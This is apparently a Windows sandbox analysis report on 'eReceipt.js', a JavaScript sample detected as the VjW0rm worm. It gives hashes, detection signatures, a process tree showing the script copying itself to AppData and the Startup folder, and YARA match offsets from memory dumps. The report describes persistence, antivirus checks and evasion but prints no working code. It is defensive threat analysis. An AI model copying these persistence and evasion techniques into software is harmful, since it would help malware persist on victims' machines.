Edit tour

Windows Analysis Report
eReceipt.js

Overview

General Information

Sample Name:	eReceipt.js
Analysis ID:	628800
MD5:	00073a5b3551f0759bf070f9954c96c0
SHA1:	c68e16991a3453fc8a33abe802421830efaa1fec
SHA256:	c8238e4ba5d2aafcb132239f682f11ba67387adc8abc80ac0614d3dbe3634e6d
Tags:	jsVjw0rm
Infos:

Detection

VjW0rm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for submitted file

Yara detected VjW0rm

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Sigma detected: Drops script at startup location

Snort IDS alert for network traffic

Wscript called in batch mode (surpress errors)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Potential malicious VBS/JS script found (suspicious encoded strings)

Creates multiple autostart registry keys

Drops script or batch files to the startup folder

Uses known network protocols on non-standard ports

JavaScript source code contains call to eval containing suspicious API calls

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Yara signature match

Java / VBScript file with very long strings (likely obfuscated code)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

Creates a start menu entry (Start Menu\Programs\Startup)

Stores files to the Windows start menu directory

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

JavaScript source code contains large arrays or strings with random content potentially encoding malicious code

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3908 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\eReceipt.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 5516 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 6860 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eReceipt.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 6652 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 4448 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 5768 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eReceipt.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 2312 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 5512 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 792 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 6408 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 1928 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.880440429.0000011D6BAC4000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x14f28:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x1520c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x16cec:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x16cfc:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x16f30:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x16f50:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x16ffc:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1700c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x1702c:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1709c:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x170ac:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67 0x170bc:$x1: 78 34 4E 57 4A 63 65 44 49 34 58 48 67 0x170cc:$x1: 78 34 4E 7A 6C 63 65 44 63 77 58 48 67 0x170dc:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67 0x170ec:$x1: 78 34 4E 6A 46 63 65 44 59 79 58 48 67 0x17644:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x178c8:$x1: 78 34 4E 6D 4E 63 65 44 5A 6B 58 48 67 0x178d8:$x1: 78 34 4E 6D 5A 63 65 44 49 30 58 48 67 0x17a40:$x1: 78 34 4E 6A 46 63 65 44 5A 6D 58 48 67 0x17ab0:$x1: 78 34 4E 6D 5A 63 65 44 5A 6B 58 48 67 0x17ac0:$x1: 78 34 4E 6A 64 63 65 44 59 78 58 48 67
00000012.00000002.881139684.0000026BB35D2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000010.00000002.882089368.00000244AF3F0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x8124:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67 0x8134:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x8154:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x8164:$x1: 78 34 4E 6D 4A 63 65 44 59 31 58 48 67 0x8184:$x1: 78 34 4E 6D 5A 63 65 44 63 32 58 48 67 0x8194:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x81b4:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x81c4:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x81d4:$x1: 78 34 4E 6A 56 63 65 44 49 77 58 48 67 0x81e4:$x1: 78 34 4E 7A 52 63 65 44 63 79 58 48 67 0x81f4:$x1: 78 34 4E 6D 56 63 65 44 59 33 58 48 67 0x84b4:$x1: 78 34 4E 7A 4A 63 65 44 59 35 58 48 67 0x84c4:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x84d4:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x84e4:$x1: 78 34 4E 6D 5A 63 65 44 5A 6C 58 48 67 0x84f4:$x1: 78 34 4E 6A 56 63 65 44 63 79 58 48 67 0x8504:$x1: 78 34 4E 6D 5A 63 65 44 63 79 58 48 67 0x8514:$x1: 78 34 4E 6A 5A 63 65 44 5A 6D 58 48 67 0x8534:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x85f0:$x1: 78 34 4E 6D 4E 63 65 44 59 78 58 48 67 0x8600:$x1: 78 34 4E 6A 46 63 65 44 63 32 58 48 67
00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000000.00000002.881750287.000001C6DCC58000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x9034:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67 0x9044:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x9064:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x9074:$x1: 78 34 4E 6D 4A 63 65 44 59 31 58 48 67 0x9094:$x1: 78 34 4E 6D 5A 63 65 44 63 32 58 48 67 0x90a4:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x90c4:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x90d4:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x90e4:$x1: 78 34 4E 6A 56 63 65 44 49 77 58 48 67 0x90f4:$x1: 78 34 4E 7A 52 63 65 44 63 79 58 48 67 0x9104:$x1: 78 34 4E 6D 56 63 65 44 59 33 58 48 67 0x93c4:$x1: 78 34 4E 7A 4A 63 65 44 59 35 58 48 67 0x93d4:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x93e4:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x93f4:$x1: 78 34 4E 6D 5A 63 65 44 5A 6C 58 48 67 0x9404:$x1: 78 34 4E 6A 56 63 65 44 63 79 58 48 67 0x9414:$x1: 78 34 4E 6D 5A 63 65 44 63 79 58 48 67 0x9424:$x1: 78 34 4E 6A 5A 63 65 44 5A 6D 58 48 67 0x9444:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x9500:$x1: 78 34 4E 6D 4E 63 65 44 59 78 58 48 67 0x9510:$x1: 78 34 4E 6A 46 63 65 44 63 32 58 48 67
00000005.00000002.882946701.000001B3A0557000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x197e4:$x1: 78 34 4E 6D 56 63 65 44 63 32 58 48 67 0x197f4:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x19814:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x19824:$x1: 78 34 4E 6D 4A 63 65 44 59 31 58 48 67 0x19844:$x1: 78 34 4E 6D 5A 63 65 44 63 32 58 48 67 0x19854:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x19874:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x19884:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x19894:$x1: 78 34 4E 6A 56 63 65 44 49 77 58 48 67 0x198a4:$x1: 78 34 4E 7A 52 63 65 44 63 79 58 48 67 0x198b4:$x1: 78 34 4E 6D 56 63 65 44 59 33 58 48 67 0x19b74:$x1: 78 34 4E 7A 4A 63 65 44 59 35 58 48 67 0x19b84:$x1: 78 34 4E 6D 4E 63 65 44 59 35 58 48 67 0x19b94:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x19ba4:$x1: 78 34 4E 6D 5A 63 65 44 5A 6C 58 48 67 0x19bb4:$x1: 78 34 4E 6A 56 63 65 44 63 79 58 48 67 0x19bc4:$x1: 78 34 4E 6D 5A 63 65 44 63 79 58 48 67 0x19bd4:$x1: 78 34 4E 6A 5A 63 65 44 5A 6D 58 48 67 0x19bf4:$x1: 78 34 4E 7A 52 63 65 44 59 78 58 48 67 0x19cb0:$x1: 78 34 4E 6D 4E 63 65 44 59 78 58 48 67 0x19cc0:$x1: 78 34 4E 6A 46 63 65 44 63 32 58 48 67
00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp	webshell_asp_generic	Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file	Arnim Rupp	0x2ff3:$asp_much_sus15: AntiVirus 0x60e3:$asp_much_sus15: AntiVirus 0x6f43:$asp_much_sus15: AntiVirus 0x5426:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0xde36:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0xa4a6:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0xa636:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x2f03:$asp_xml_http: Microsoft.XMLHTTP 0x5ff3:$asp_xml_http: Microsoft.XMLHTTP 0x6e53:$asp_xml_http: Microsoft.XMLHTTP 0xc1fe:$asp_xml_http: Microsoft.XMLHTTP 0x36bc:$asp_xml_method2: POST 0x67ac:$asp_xml_method2: POST 0x760c:$asp_xml_method2: POST 0xd170:$asp_xml_method2: POST 0x7e8:$asp_text1: .text 0x3297:$asp_payload2: eval( 0x3556:$asp_payload2: eval( 0x6387:$asp_payload2: eval( 0x6646:$asp_payload2: eval( 0x71e7:$asp_payload2: eval(
00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x15ad0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x15ae0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x160dc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x16168:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x1722c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x1723c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x17308:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x17318:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x1774c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x1775c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x177b8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x17a9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x1957c:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x1958c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x197a0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x197c0:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x1986c:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1987c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x1989c:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1990c:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x1991c:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67
00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x15ad0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x15ae0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x160dc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1722c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x1723c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x17308:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x17318:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x177b8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x17a9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x1957c:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x1958c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x197a0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x197c0:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x1986c:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1987c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x1989c:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1990c:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x1991c:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67 0x1992c:$x1: 78 34 4E 57 4A 63 65 44 49 34 58 48 67 0x1993c:$x1: 78 34 4E 7A 6C 63 65 44 63 77 58 48 67 0x1994c:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67
00000010.00000002.880524674.00000244AD5E3000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x15be8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x15ecc:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x179ac:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x179bc:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x17bf0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x17c10:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x17cbc:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x17ccc:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x17cec:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x17d5c:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x17d6c:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67 0x17d7c:$x1: 78 34 4E 57 4A 63 65 44 49 34 58 48 67 0x17d8c:$x1: 78 34 4E 7A 6C 63 65 44 63 77 58 48 67 0x17d9c:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67 0x17dac:$x1: 78 34 4E 6A 46 63 65 44 59 79 58 48 67 0x18304:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x18588:$x1: 78 34 4E 6D 4E 63 65 44 5A 6B 58 48 67 0x18598:$x1: 78 34 4E 6D 5A 63 65 44 49 30 58 48 67 0x18700:$x1: 78 34 4E 6A 46 63 65 44 5A 6D 58 48 67 0x18770:$x1: 78 34 4E 6D 5A 63 65 44 5A 6B 58 48 67 0x18780:$x1: 78 34 4E 6A 64 63 65 44 59 78 58 48 67
00000005.00000003.815386378.000001B39E7A7000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xf50:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0xf60:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x155c:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x15e8:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x172c:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x173c:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x18c4:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x26ac:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x26bc:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x2788:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x2798:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x2bcc:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x2bdc:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67
00000009.00000002.880465658.0000011D6BAE4000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x1360:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x1370:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x196c:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x19f8:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x1b3c:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x1b4c:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1cd4:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x2abc:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x2acc:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x2b98:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x2ba8:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x2fdc:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x2fec:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67
00000005.00000002.881460459.000001B39E783000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x18b18:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x18dfc:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x1a8dc:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x1a8ec:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x1ab20:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x1ab40:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x1abec:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1abfc:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67 0x1ac1c:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1ac8c:$x1: 78 34 4E 6A 5A 63 65 44 49 34 58 48 67 0x1ac9c:$x1: 78 34 4E 54 52 63 65 44 4A 6C 58 48 67 0x1acac:$x1: 78 34 4E 57 4A 63 65 44 49 34 58 48 67 0x1acbc:$x1: 78 34 4E 7A 6C 63 65 44 63 77 58 48 67 0x1accc:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67 0x1acdc:$x1: 78 34 4E 6A 46 63 65 44 59 79 58 48 67 0x1b234:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67 0x1b4b8:$x1: 78 34 4E 6D 4E 63 65 44 5A 6B 58 48 67 0x1b4c8:$x1: 78 34 4E 6D 5A 63 65 44 49 30 58 48 67 0x1b630:$x1: 78 34 4E 6A 46 63 65 44 5A 6D 58 48 67 0x1b6a0:$x1: 78 34 4E 6D 5A 63 65 44 5A 6B 58 48 67 0x1b6b0:$x1: 78 34 4E 6A 64 63 65 44 59 78 58 48 67
0000000A.00000002.881711321.00000239FAA0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000006.00000002.881056542.000001C97BC3F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x15ad0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x15ae0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x160dc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x16168:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x162ac:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x162bc:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x16444:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x1722c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x1723c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x17308:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x17318:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x1774c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x1775c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x177b8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x17a9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x1957c:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x1958c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x197a0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x197c0:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x1986c:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1987c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67
0000000C.00000002.880769506.00000171E040E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp	webshell_asp_generic	Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file	Arnim Rupp	0x50a6:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0x5236:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0x73d6:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x7566:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x346e:$asp_xml_http: Microsoft.XMLHTTP 0x43e0:$asp_xml_method2: POST 0x3b96:$asp_payload2: eval( 0x4114:$asp_payload2: eval( 0x33ec:$asp_payload11: WScript.Shell 0x3b4a:$asp_multi_payload_one3: .run 0x3d62:$asp_multi_payload_one3: .run 0x3f42:$asp_multi_payload_one3: .run 0x4258:$asp_multi_payload_one3: .run 0x3b0e:$asp_always_write1: .Write 0x3d2a:$asp_always_write1: .Write 0x3f08:$asp_always_write1: .Write 0x421c:$asp_always_write1: .Write 0x3ad6:$asp_write_way_one3: CreateTextFile 0x3e70:$asp_write_way_one3: CreateTextFile 0x41e4:$asp_write_way_one3: CreateTextFile 0x50a6:$tagasp_capa_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8
0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000010.00000002.880727385.00000244AD604000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xfe0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0xff0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x15ec:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x1678:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x17bc:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x17cc:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x1954:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x273c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x274c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x2818:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x2828:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x2c5c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x2c6c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67
00000000.00000002.881896029.000001C6DCCF0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x15ad0:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67 0x15ae0:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67 0x160dc:$x1: 78 34 4E 6A 64 63 65 44 63 79 58 48 67 0x16168:$x1: 78 34 4E 6D 5A 63 65 44 59 35 58 48 67 0x162ac:$x1: 78 34 4E 6D 52 63 65 44 59 31 58 48 67 0x162bc:$x1: 78 34 4E 6A 46 63 65 44 52 68 58 48 67 0x16444:$x1: 78 34 4E 6D 52 63 65 44 59 78 58 48 67 0x1722c:$x1: 78 34 4E 6A 56 63 65 44 63 30 58 48 67 0x1723c:$x1: 78 34 4E 7A 56 63 65 44 59 35 58 48 67 0x17308:$x1: 78 34 4E 7A 52 63 65 44 51 79 58 48 67 0x17318:$x1: 78 34 4E 6A 6C 63 65 44 5A 6A 58 48 67 0x1774c:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67 0x1775c:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67 0x177b8:$x1: 78 34 4E 7A 4A 63 65 44 51 78 58 48 67 0x17a9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x1957c:$x1: 78 34 4E 6D 5A 63 65 44 59 30 58 48 67 0x1958c:$x1: 78 34 4E 54 4E 63 65 44 63 30 58 48 67 0x197a0:$x1: 78 34 4E 32 56 63 65 44 4E 6C 58 48 67 0x197c0:$x1: 78 34 4E 6A 52 63 65 44 51 79 58 48 67 0x1986c:$x1: 78 34 4E 6D 56 63 65 44 59 7A 58 48 67 0x1987c:$x1: 78 34 4E 6A 6C 63 65 44 5A 6D 58 48 67
00000007.00000003.827815477.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
